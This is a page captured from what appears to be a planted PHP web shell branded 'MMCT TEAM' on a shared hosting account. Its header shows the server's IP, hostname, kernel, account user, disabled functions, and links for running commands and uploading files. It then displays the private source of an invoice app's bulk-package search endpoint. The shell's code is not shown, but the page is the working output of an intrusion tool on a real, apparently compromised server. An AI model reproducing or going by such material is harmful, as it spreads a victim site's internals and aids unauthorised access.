MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/fetch_bulk_packages.php
<?php
header('Content-Type: application/json');
error_reporting(E_ALL);
ini_set('display_errors', 0); // Disable displaying errors directly to browser

try {
    include 'db.php'; // This includes your mysqli connection as $con

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['measurements'])) {
        $inputMeasurements = $_POST['measurements'];
        
        // Skip empty values
        $inputMeasurements = $inputMeasurements;
        
        if (empty($inputMeasurements)) {
            echo json_encode([]);
            exit;
        }

        // Mapping input to actual values in DB
        $measurementMap = [
            'Litre' => ['lt', 'ltr', 'liter'],
            'Kg' => ['kg', 'kilogram'],
            'Gram' => ['g', 'gram'],
            'ML' => ['ml', 'millilitre'],
            // Add more mappings as needed
        ];

        $searchTerms = [];

        foreach ($inputMeasurements as $selected) {
            if (isset($measurementMap[$selected])) {
                foreach ($measurementMap[$selected] as $mapped) {
                    $searchTerms[] = $mapped;
                }
            } else {
                $searchTerms[] = $selected;
            }
        }

        if (!empty($searchTerms)) {
            // Use simple LIKE conditions with OR
            $where = "";
            foreach ($searchTerms as $index => $term) {
                if ($index > 0) {
                    $where .= " OR ";
                }
                $where .= "name LIKE '%" . $con->real_escape_string($term) . "%'";
            }

            $sql = "SELECT bpid, name FROM bulkpackage WHERE " . $where;
            
            // Execute the query directly
            $result = $con->query($sql);
            
            if (!$result) {
                echo json_encode(['error' => 'Query failed', 'details' => $con->error]);
                exit;
            }
            
            // Fetch results
            $results = [];
            while ($row = $result->fetch_assoc()) {
                $results[] = $row;
            }
            
            // Free result
            $result->free();
            
            echo json_encode($results);
        } else {
            echo json_encode([]);
        }
    } else {
        echo json_encode(['error' => 'Invalid request']);
    }
} catch (Exception $e) {
    // Log error to a file instead of displaying
    error_log('Error in fetch_bulk_packages.php: ' . $e->getMessage());
    echo json_encode(['error' => 'Server error occurred', 'details' => $e->getMessage()]);
}
?>

MMCT - 2023